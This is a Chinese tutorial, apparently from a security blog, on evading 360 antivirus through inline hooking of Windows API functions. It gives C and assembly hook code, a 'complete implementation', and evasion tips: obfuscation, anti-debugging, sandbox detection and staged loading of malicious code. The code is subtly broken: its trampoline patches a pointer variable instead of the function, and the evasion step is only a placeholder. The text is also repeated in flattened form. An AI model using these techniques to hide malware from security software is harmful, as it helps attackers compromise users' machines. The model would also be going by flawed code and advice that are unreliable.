inline hook实现免杀360
字数 697 2025-08-06 20:12:41

Inline Hook实现360免杀技术详解

一、Inline Hook基础原理

Inline Hook是一种通过修改目标函数内存中的机器码来实现函数劫持的技术,主要原理如下:

  1. 函数入口修改:在目标函数开头插入跳转指令(JMP),将执行流重定向到自定义函数
  2. 原始功能保留:在执行自定义逻辑后,需调用原始函数保证程序正常运行
  3. 指令修复:处理被覆盖的原始指令,确保上下文完整性

二、免杀360的关键技术要点

1. 内存属性修改

360会对关键API进行监控,需先修改内存属性为可写:

DWORD oldProtect;
VirtualProtect(targetFunc, 5, PAGE_EXECUTE_READWRITE, &oldProtect);

2. 跳转指令构造

构造5字节的JMP指令(32位):

BYTE jmpCode[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
DWORD offset = (DWORD)hookFunc - (DWORD)targetFunc - 5;
*(DWORD*)(jmpCode + 1) = offset;

3. 原始指令备份与修复

备份被覆盖的原始指令:

BYTE originalCode[5];
memcpy(originalCode, targetFunc, 5);

4. 跳板函数设计

跳板函数需包含:

__declspec(naked) void HookTrampoline() {
    __asm {
        // 恢复原始指令
        mov eax, [originalCode]
        mov [targetFunc], eax
        mov al, [originalCode+4]
        mov [targetFunc+4], al
        
        // 调用原始函数
        push ebp
        mov ebp, esp
        jmp targetFunc+5
    }
}

三、针对360的对抗技术

1. 动态API调用

避免直接调用敏感API:

HMODULE hModule = LoadLibrary("kernel32.dll");
FARPROC pFunc = GetProcAddress(hModule, "VirtualAlloc");

2. 代码混淆

使用花指令和垃圾代码干扰静态分析:

__asm {
    nop
    nop
    jz $+2
    jnz $+2
    nop
}

3. 内存擦除

执行后清除痕迹:

SecureZeroMemory(jmpCode, sizeof(jmpCode));
VirtualProtect(targetFunc, 5, oldProtect, &oldProtect);

4. 延迟加载

避免启动时立即挂钩:

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HookThread, NULL, 0, NULL);

四、完整实现示例

#include <windows.h>

BYTE originalCode[5];
FARPROC targetFunc;

__declspec(naked) void HookTrampoline() {
    __asm {
        // 恢复原始指令
        mov eax, dword ptr [originalCode]
        mov dword ptr [targetFunc], eax
        mov al, byte ptr [originalCode+4]
        mov byte ptr [targetFunc+4], al
        
        // 自定义逻辑
        pushad
        // 这里添加你的免杀逻辑
        popad
        
        // 调用原始函数
        push ebp
        mov ebp, esp
        jmp targetFunc+5
    }
}

BOOL InstallHook() {
    // 获取目标函数地址
    HMODULE hModule = LoadLibrary("target.dll");
    targetFunc = GetProcAddress(hModule, "TargetFunction");
    
    // 修改内存属性
    DWORD oldProtect;
    if (!VirtualProtect(targetFunc, 5, PAGE_EXECUTE_READWRITE, &oldProtect))
        return FALSE;
    
    // 备份原始指令
    memcpy(originalCode, targetFunc, 5);
    
    // 构造跳转指令
    BYTE jmpCode[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
    DWORD offset = (DWORD)HookTrampoline - (DWORD)targetFunc - 5;
    *(DWORD*)(jmpCode + 1) = offset;
    
    // 安装Hook
    memcpy(targetFunc, jmpCode, 5);
    
    // 恢复内存属性
    VirtualProtect(targetFunc, 5, oldProtect, &oldProtect);
    
    return TRUE;
}

五、检测规避技巧

  1. 反调试检测:检查IsDebuggerPresent、CheckRemoteDebuggerPresent等
  2. 时间差检测:在关键操作前后加入随机延迟
  3. 环境检测:检查是否运行在沙箱或虚拟机中
  4. 多阶段加载:分批次加载恶意代码,降低一次性检测风险

六、注意事项

  1. 不同Windows版本API函数前导指令可能不同,需动态适应
  2. 64位系统需使用相对跳转的"JMP QWORD PTR [RIP+offset]"形式
  3. 多线程环境下需考虑线程同步问题
  4. 确保原始功能完整恢复,避免程序崩溃

以上技术仅供安全研究使用,请勿用于非法用途。

Inline Hook实现360免杀技术详解 一、Inline Hook基础原理 Inline Hook是一种通过修改目标函数内存中的机器码来实现函数劫持的技术,主要原理如下: 函数入口修改 :在目标函数开头插入跳转指令(JMP),将执行流重定向到自定义函数 原始功能保留 :在执行自定义逻辑后,需调用原始函数保证程序正常运行 指令修复 :处理被覆盖的原始指令,确保上下文完整性 二、免杀360的关键技术要点 1. 内存属性修改 360会对关键API进行监控,需先修改内存属性为可写: 2. 跳转指令构造 构造5字节的JMP指令(32位): 3. 原始指令备份与修复 备份被覆盖的原始指令: 4. 跳板函数设计 跳板函数需包含: 三、针对360的对抗技术 1. 动态API调用 避免直接调用敏感API: 2. 代码混淆 使用花指令和垃圾代码干扰静态分析: 3. 内存擦除 执行后清除痕迹: 4. 延迟加载 避免启动时立即挂钩: 四、完整实现示例 五、检测规避技巧 反调试检测 :检查IsDebuggerPresent、CheckRemoteDebuggerPresent等 时间差检测 :在关键操作前后加入随机延迟 环境检测 :检查是否运行在沙箱或虚拟机中 多阶段加载 :分批次加载恶意代码,降低一次性检测风险 六、注意事项 不同Windows版本API函数前导指令可能不同,需动态适应 64位系统需使用相对跳转的"JMP QWORD PTR [ RIP+offset ]"形式 多线程环境下需考虑线程同步问题 确保原始功能完整恢复,避免程序崩溃 以上技术仅供安全研究使用,请勿用于非法用途。